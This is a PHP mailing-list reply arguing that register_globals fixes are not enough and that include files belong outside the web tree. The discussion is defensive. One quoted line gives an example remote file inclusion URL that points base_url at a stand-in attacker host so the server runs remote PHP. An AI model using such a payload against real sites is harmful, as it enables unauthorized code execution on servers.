KJ wrote: >> So, not only do you have register_globals "on" which is a Bad Idea, >> you've >> got PHP files in your web tree that they can surf to, bypass your >> configuration setting of $base_url, and execute code that the Programmer >> never ever ever intended to be executed out of sequence (IE, without >> having the code in config.php executed) >> >> This is a MUCH BIGGER PROBLEM than remote include working or not. > > That's down to your opinion and experience. Most packaged applications > have all the files accessible in the webdir. In most apps changing this > would mean a lot of rewriting.
No, it doesn't. You just move all those include files somewhere else, and change PHP's include_path setting. This is not rocket science. >> If you can't do that, for whatever reason, you may be able to stop those >> files from being executed outside the context in which they were >> intended: >> Convince Apache *not* to execute ".inc" files as PHP, for example. >> >> Of course, some well-intentioned, but badly-designed, packages use >> ".inc.php" to force the execution of "include" files as PHP. >> >> As we have seen here, you simply do not *want* that to happen. >> Executing >> snippets of code out of the context in which they were programmed is >> just >> plain foolhardy. > > I agree but your "perfect" world isn't the one I'm living in, if it > were, we wouldn't have needed register_globals. I'm not suggesting a "perfect" world. I'm suggesting you move a bunch of files from A to B and change one (1) PHP setting, include_path. If that's too much effort, then you might as well just resolve yourself to re-installing from backups every few months because that *IS* what you will be doing. >> You've got huge chunks of code in those packages that the bad guys are >> executing all out of any sort of order that the Programmer ever even >> thought about them. > > So we agree that the programmer isn't always considering these things. > Phew. Yes. Or, more likely, if you read the install documentation carefully, they will recommend that you do just what I described above. Of course, far too many users dump all the source in a directory, fire up their browser, configure the application, get it to work, and NEVER READ the install docs thoroughly. They get it to work, and let the sleeping dog lie. Alas, this is an except to that rule of letting the dog be. Don't do that. >>>comprimise the site was to have a variable passed in the url to set the >>>base url to a remote site, which in turn output php to execute, i.e.: >>> >>>http://example.com/config.php?base_url=http://myhacksite.example.com >>> >>>Now, you are correct that education on how to avoid this kind of issue >>>is key, however that does not avoid the problem. Turning of register >>>globals would prevent many of these attacks, however there are still >>>many apps out there that require register globals to be on and there are >>>other ways to use this exploit with them off. >> >> >> Please explain these other ways, or provide references. > > Sorry, same way. I have seen ann application that set the base url in > $_REQUEST. Needless to say it was avoided like the plague. And to be > honest, it was the only app I've seen that did this. That, for sure, was the right decision for such a badly-designed application. >> Also, if an application requires register_globals on at this point in >> time, it may be prudent to simply not support the installation of that >> package. >> >> That may seem harsh, even unreasonable, but at some point, it's time for >> the application developers, who have quite some time now, to make their >> software well-behaved with register_globals OFF. > > Yeah I agree... unfortunately there are hosting companies who insist on > keeping them for BC. > And I was a bit shocked when this first happened to me with a stable > version of phpBB. It has since been fixed, but I wonder how many people > were open to the attack. I wonder how manby people had not copied all of > those include file out of the web dir? Many I imagine. Yup. And that's one reason why register_globals became such the Big Issue in the first place. If all programmers initialized all variables correctly, and all include files were outside the web tree where they belonged, register_globals OFF would not be necessary at all. I'm not naive enough to think that's going to happen, mind you, but, honestly, register_globals is not *ENOUGH*. You've got to move the include files anyway. And you may want to test with error_reporting set to E_ALL. I, personally, have my own standards for installing applications. If they can't run with register_globals OFF, they don't get installed. If they can't run with E_ALL, they don't get installed. And no cheating by resetting error_reporting inside the application either. Un-unh. It runs with true E_ALL, or it doesn't get installed. If I can't figure out how to get all those include files somewhere else, it doesn't get installed. >> I appreciate your problems -- I'm just trying to tell you that your >> solution is like swatting an elephant with a feather. >> > > Rubbish. An enjoyable analogy nonetheless. If you leave the include files in your web tree, you will be restoring from backups a lot. Sorry. > According to your logic, register globals wouldn't have been implemented > because you could just loop through all the $_GET, $_POST ...etc and > unset the global variable for each, and you should initialize every > variable. > In the perfect world this would be true. But it aint is it? RAD and all > that. :) You are correct, sir. In a perfect world, every programmer would initialize every variable, and every include file would be outside the web tree, and every application would be thoroughly tested. Now, you can't control the initialization of variables, nor check for that in reasonable time. And you probably can't thoroughly test the application, though you choose applications with a large user-base, thinking that it will be well-tested. But you *CAN* easily move the include files somewhere else. You control this; you can do it with minimal effort. > In my opinion this would be the most elegant way of clearing up this > problem for good, so instead of: > > 1. Turn off register_globals if possible. > 2. Check every bit of source code to see if affected. Unreasonable. You don't have that kind of time. > 3. Change apach config to not parse .inc files. Don't bother. *MOVE* the friggin' files to where they can't be surfed to! > 4. Educate the php world as to how to program in a nice and orderly > fasion. We're working on that one. > You would have: > 1. Turn off allow_url_include if possible. > > Anyway, I'm not going to argue the case for this any longer. I think > it's a good idea but obviously nobody else does. The issue that I > explained is avoidable, if it weren't then it would be a major > exploit... that it is not. But it still remains an issue. > > So yes, instead of having a language level feature that could eliminate > this problem let's rely on all of the programmers and web hosts. > > Thank you for the discussion. Your host can't do this for you reliably, any more than the landlord who rents office space can lock your door for you every night. It's up to the webmaster to do some work here. Hopefully the host and progammer have done their tasks. Moving the files and re-setting include_path IS NOT THAT HARD. Just *TRY* it. -- Like Music? http://l-i-e.com/artists.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
